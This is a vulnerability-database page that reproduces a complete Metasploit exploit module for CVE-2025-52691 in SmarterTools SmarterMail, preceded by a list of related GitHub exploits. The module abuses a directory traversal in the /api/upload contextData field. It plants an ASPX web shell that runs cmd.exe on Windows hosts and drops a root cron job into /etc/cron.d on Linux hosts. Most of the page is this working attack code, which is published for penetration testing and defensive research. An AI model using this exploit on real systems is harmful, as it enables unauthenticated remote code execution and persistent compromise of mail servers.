| Reporter | Title | Published | Views | Family All 41 |
|---|---|---|---|---|
| Exploit for CVE-2025-52691 | 30 Dec 202518:21 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Smartertools Smartermail | 8 Jan 202611:42 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Smartertools Smartermail | 5 Jan 202613:46 | – | githubexploit | |
| Exploit for CVE-2025-52691 | 29 Dec 202516:23 | – | githubexploit | |
| Exploit for CVE-2025-52691 | 30 Dec 202514:58 | – | githubexploit | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Smartertools Smartermail | 23 Jan 202611:48 | – | githubexploit | |
| Exploit for CVE-2025-52691 | 30 Dec 202510:24 | – | githubexploit | |
| Exploit for CVE-2025-52691 | 30 Dec 202518:37 | – | githubexploit | |
| Exploit for CVE-2025-52691 | 30 Dec 202506:13 | – | githubexploit | |
| Exploit for CVE-2025-52691 | 31 Dec 202507:01 | – | githubexploit |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Smartermail
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SmarterTools SmarterMail GUID File Upload Vulnerability',
'Description' => %q{
This module exploits a pre-auth remote code execution vulnerability in SmarterTools SmarterMail before version 100.0.9413.
The endpoint /api/upload fails to sanitize the contextData POST parameter which can contain JSON data with a
"guid" key that allows directory traversal. By leveraging this vulnerability, an unauthenticated attacker can
upload a malicious ASPX web shell to the server's web root directory, leading to remote code execution.
},
'Author' => [
'Piotr Bazydlo', # PoC write up
'Sina Kheirkhah', # PoC write up
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://labs.watchtowr.com/do-smart-people-ever-say-theyre-smart-smartertools-smartermail-pre-auth-rce-cve-2025-52691/'],
[ 'CVE', '2025-52691']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :nix,
'BadChars' => "'",
'DefaultOptions' => {
'WfsDelay' => 70
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win,
'BadChars' => '"'
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-10-09',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The path of a backdoor shell', '']),
OptInt.new('DEPTH', [true, 'Traversal Depth', 15]),
OptInt.new('WEB_ROOT_RPORT', [true, 'The port in which the webroot is served on. Note on Windows this is different from the modules\'s RPORT', 80], conditions: %w[TARGET == 1]),
OptString.new('TARGET_DIR', [false, 'Directory to place the payload, on Windows this defaults to the WebRoot, on Linux/Unix it defaults to /tmp which gets called by a cron job', nil])
]
)
end
def windows_payload_wrapper
vars = Rex::RandomIdentifier::Generator.new
<<~EOF
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
ProcessStartInfo #{vars[:process_start_info]} = new ProcessStartInfo();
#{vars[:process_start_info]}.FileName = "cmd.exe";
#{vars[:process_start_info]}.Arguments = "/c "+ @"#{payload.encoded}";
#{vars[:process_start_info]}.RedirectStandardOutput = true;
#{vars[:process_start_info]}.UseShellExecute = false;
Process #{vars[:process]} = Process.Start(#{vars[:process_start_info]});
}
</script>
EOF
end
def check
check_version('100.0.9413')
end
def upload_payload(target_dir, filename, payload_contents)
post_data = Rex::MIME::Message.new
resumable_filename = Rex::Text.rand_text_alpha(4..8)
resumable_filename += '.aspx' if target['Platform'] == 'win' # the resumableFilename is where the file extension is taken from
post_data.add_part('attachment', nil, nil, 'form-data; name="context"')
post_data.add_part(filename, nil, nil, 'form-data; name="resumableIdentifier"')
post_data.add_part(resumable_filename, nil, nil, 'form-data; name="resumableFilename"')
post_data.add_part("{\"guid\":\"dag/#{'../' * datastore['DEPTH']}#{target_dir}/#{filename}\"}", 'application/json', nil, 'form-data; name="contextData"')
post_data.add_part(payload_contents, 'application/octet-stream', nil, "form-data; name=\"#{Faker::Name.first_name}\"; filename=\"#{Faker::File.file_name(dir: '').gsub('/', '')}\"")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'upload'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
fail_with(Failure::UnexpectedReply, 'File upload failed') unless res && res.code == 200
json_output = res.get_json_document
fail_with(Failure::UnexpectedReply, 'Unable to parse filename, cannot continue') unless json_output.key?('key')
json_output['key'] =~ %r{([^/]+)$}
uploaded_filename = Regexp.last_match(1)
print_good("The uploaded payload file is named: #{uploaded_filename}")
uploaded_filename
end
def exploit
payload_name = Rex::Text.rand_text_alpha(4..8)
if target['Platform'] == 'win'
target_dir = datastore['TARGET_DIR'].blank? ? '/inetpub/wwwroot' : datastore['TARGET_DIR']
print_status("Uploading payload to #{target_dir}...")
uploaded_filename = upload_payload(target_dir, payload_name, windows_payload_wrapper)
register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")
datastore['RPORT'] = datastore['WEB_ROOT_RPORT']
send_request_cgi(
'uri' => normalize_uri(target_uri.path, uploaded_filename),
'method' => 'GET'
)
else
target_dir = datastore['TARGET_DIR'].blank? ? '/tmp' : datastore['TARGET_DIR']
print_status("Uploading payload to #{target_dir}...")
uploaded_filename = upload_payload(target_dir, payload_name, payload.encoded)
register_file_for_cleanup("#{target_dir}/#{uploaded_filename}")
payload_path = "#{target_dir}/#{uploaded_filename}"
cron_command = "chmod +x #{payload_path} && #{payload_path}&"
cron_contents = "* * * * * root /bin/bash -c '#{cron_command}'\n"
cron_filename = Rex::Text.rand_text_alpha(8..12)
cron_target_dir = '/etc/cron.d'
print_status('Uploading cronjob to call payload...')
uploaded_cron_filename = upload_payload(cron_target_dir, cron_filename, cron_contents)
register_file_for_cleanup("#{cron_target_dir}/#{uploaded_cron_filename}")
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation